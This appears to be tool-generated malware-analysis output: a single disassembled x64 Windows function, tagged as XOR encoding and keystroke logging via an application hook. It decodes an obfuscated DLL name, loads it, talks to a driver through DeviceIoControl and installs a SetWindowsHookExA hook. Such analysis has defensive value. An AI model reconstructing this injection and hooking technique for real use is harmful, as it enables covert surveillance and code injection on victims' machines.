Function at 0x1400045b0
Capabilities:
Encode data using xor
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x140046020]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov qword [rbp - 0x61], rdx
mov r12d, ecx
mov ecx, 0x6e
mov qword [rbp - 0x59], r8
xor edx, edx
call fcn.140001110
lea ecx, [rdx + 0x74]
mov word [rbp - 0x51], ax
lea edx, [rcx - 0x73]
call fcn.140001110
lea ecx, [rdx + 0x63]
mov word [rbp - 0x4f], ax
lea edx, [rcx - 0x62]
call fcn.140001110
lea ecx, [rdx + 0x6a]
mov word [rbp - 0x4d], ax
lea edx, [rcx - 0x69]
call fcn.140001110
lea edx, [rcx - 0x68]
mov word [rbp - 0x4b], ax
call fcn.140001110
lea ecx, [rdx + 0x2a]
mov word [rbp - 0x49], ax
lea edx, [rcx - 0x29]
call fcn.140001110
lea ecx, [rdx + 0x5f]
mov word [rbp - 0x47], ax
lea edx, [rcx - 0x5e]
call fcn.140001110
lea ecx, [rdx + 0x66]
mov word [rbp - 0x45], ax
lea edx, [rcx - 0x65]
call fcn.140001110
lea edx, [rcx - 0x64]
mov word [rbp - 0x43], ax
call fcn.140001110
xor ecx, ecx
mov word [rbp - 0x41], ax
lea edx, [rcx + 9]
call fcn.140001110
lea edx, [rcx + 0xa]
mov word [rbp - 0x3f], ax
movzx ecx, word [0x140040d44]
call fcn.140001110
movzx ecx, word [0x140040d46]
mov edx, 0xb
mov word [rbp - 0x3d], ax
call fcn.140001110
movzx ecx, word [str.test.dll]
mov edx, 0xc
mov word [rbp - 0x3b], ax
call fcn.140001110
movzx ecx, word [0x140040d4a]
mov edx, 0xd
mov word [rbp - 0x39], ax
call fcn.140001110
movzx ecx, word [0x140040d4c]
mov edx, 0xe
mov word [rbp - 0x37], ax
call fcn.140001110
movzx ecx, word [0x140040d4e]
mov edx, 0xf
mov word [rbp - 0x35], ax
call fcn.140001110
movzx ecx, word [0x140040d50]
mov edx, 0x10
mov word [rbp - 0x33], ax
call fcn.140001110
movzx ecx, word [0x140040d52]
mov edx, 0x11
mov word [rbp - 0x31], ax
call fcn.140001110
movzx ecx, word [0x140040d54]
mov edx, 0x12
mov word [rbp - 0x2f], ax
call fcn.140001110
mov word [rbp - 0x2d], ax
mov r8d, 0x133
xor eax, eax
mov word [rbp - 0x2b], ax
xor ebx, ebx
nop word [rax + rax]
movsxd rcx, eax
lea rdx, [rbp - 0x51]
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0x13
jb 0x140004750
lea rcx, [rbp - 0x51]
mov word [rbp - 0x2b], bx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, qword gs:[0x58]
mov r13, rax
mov esi, 4
add rsi, qword [rcx]
mov ecx, dword [rsi]
cmp dword [0x14008c0f8], ecx
jle 0x1400047d3
lea rcx, [0x14008c0f8]
call fcn.14000d7e8
cmp dword [0x14008c0f8], 0xffffffff
jne 0x1400047d3
lea rcx, [0x140031a20]
mov dword [0x14008c100], ebx
mov qword [0x14008c108], 0xffffffffffffffff
call fcn.14000db30
lea rcx, [0x14008c0f8]
call fcn.14000d788
mov eax, dword [0x14008c100]
mov r14, rbx
mov rcx, qword [0x14008c108]
mov dword [rbp + 7], eax
lea rax, [rbp - 0x69]
mov qword [rbp + 0xf], rax
mov qword [rbp - 0x69], rbx
mov dword [rbp + 0xb], ebx
mov qword [rbp + 0x1f], 0x40
mov qword [rbp + 0x17], 0x1000
cmp rcx, 0xffffffffffffffff
je 0x140004837
mov qword [rsp + 0x38], rbx
lea r8, [rbp + 7]
mov qword [rsp + 0x30], rbx
mov r9d, 0x20
mov dword [rsp + 0x28], ebx
mov edx, 0x3009d220
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov r14, qword [rbp - 0x69]
mov edx, 0x74
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rdx - 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm0, xmmword [0x14008a2a0]
lea r15, [r14 + 0x5c]
mov rdi, rax
mov qword [rbp - 9], rax
movups xmmword [rax], xmm0
lea rbx, [rax + 0x5c]
movaps xmm1, xmmword [0x14008a2b0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x14008a2c0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x14008a2d0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [str.D__H]
movups xmmword [rax + 0x40], xmm0
movsd xmm1, qword [0x14008a2f0]
movsd qword [rax + 0x50], xmm1
mov ecx, dword [0x14008a2f8]
mov dword [rax + 0x58], ecx
mov rcx, qword [rbp - 0x61]
mov qword [rax + 6], r15
mov rax, qword [rbp - 0x59]
mov qword [rbx + 0x10], rcx
mov eax, dword [rax + 0x28]
add rax, rcx
mov qword [rbx + 8], rax
mov eax, dword [rsi]
cmp dword [0x14008c0f8], eax
jle 0x14000490d
lea rcx, [0x14008c0f8]
call fcn.14000d7e8
cmp dword [0x14008c0f8], 0xffffffff
jne 0x14000490d
xor eax, eax
mov qword [0x14008c108], 0xffffffffffffffff
lea rcx, [0x140031a20]
mov dword [0x14008c100], eax
call fcn.14000db30
lea rcx, [0x14008c0f8]
call fcn.14000d788
mov rcx, qword [0x14008c108]
xor edx, edx
mov eax, dword [0x14008c100]
mov word [rbp - 0xc], dx
mov byte [rbp - 0xa], dl
mov dword [rbp - 0x11], eax
mov qword [rbp - 0x21], r14
mov qword [rbp - 0x29], rdi
mov qword [rbp - 0x19], 0x74
mov byte [rbp - 0xd], 1
cmp rcx, 0xffffffffffffffff
je 0x140004966
mov qword [rsp + 0x38], rdx
lea r9d, [rdx + 0x20]
mov qword [rsp + 0x30], rdx
lea r8, [rbp - 0x29]
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rdx
mov edx, 0x3009ce20
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov r9d, r12d
mov r8, r13
mov rdx, r14
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [rbx], 2
mov r13, rax
je 0x140004a5b
xor edi, edi
nop dword [rax + rax]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r12d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
mov ecx, dword [rsi]
cmp dword [0x14008c0f8], ecx
jle 0x1400049e9
lea rcx, [0x14008c0f8]
call fcn.14000d7e8
cmp dword [0x14008c0f8], 0xffffffff
jne 0x1400049e9
lea rcx, [0x140031a20]
mov dword [0x14008c100], edi
mov qword [0x14008c108], 0xffffffffffffffff
call fcn.14000db30
lea rcx, [0x14008c0f8]
call fcn.14000d788
mov rcx, qword [0x14008c108]
mov eax, dword [0x14008c100]
mov word [rbp - 0xc], di
mov byte [rbp - 0xa], dil
mov dword [rbp - 0x11], eax
mov qword [rbp - 0x21], r15
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x19], 0x18
mov byte [rbp - 0xd], dil
cmp rcx, 0xffffffffffffffff
je 0x140004a43
mov qword [rsp + 0x38], rdi
lea r8, [rbp - 0x29]
mov qword [rsp + 0x30], rdi
mov r9d, 0x20
mov dword [rsp + 0x28], edi
mov edx, 0x3009ce20
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbx], 2
jne 0x140004990
mov rdi, qword [rbp - 9]
mov rcx, r13
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov eax, dword [rsi]
cmp dword [0x14008c0f8], eax
jle 0x140004aae
lea rcx, [0x14008c0f8]
call fcn.14000d7e8
cmp dword [0x14008c0f8], 0xffffffff
jne 0x140004aae
xor eax, eax
mov qword [0x14008c108], 0xffffffffffffffff
lea rcx, [0x140031a20]
mov dword [0x14008c100], eax
call fcn.14000db30
lea rcx, [0x14008c0f8]
call fcn.14000d788
mov rcx, qword [0x14008c108]
xor edx, edx
mov eax, dword [0x14008c100]
mov dword [rbp - 5], edx
mov dword [rbp - 9], eax
mov qword [rbp - 1], r14
cmp rcx, 0xffffffffffffffff
je 0x140004af3
mov qword [rsp + 0x38], rdx
lea r9d, [rdx + 0x10]
mov qword [rsp + 0x30], rdx
lea r8, [rbp - 9]
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rdx
mov edx, 0x3009d4e0
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14000d670
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret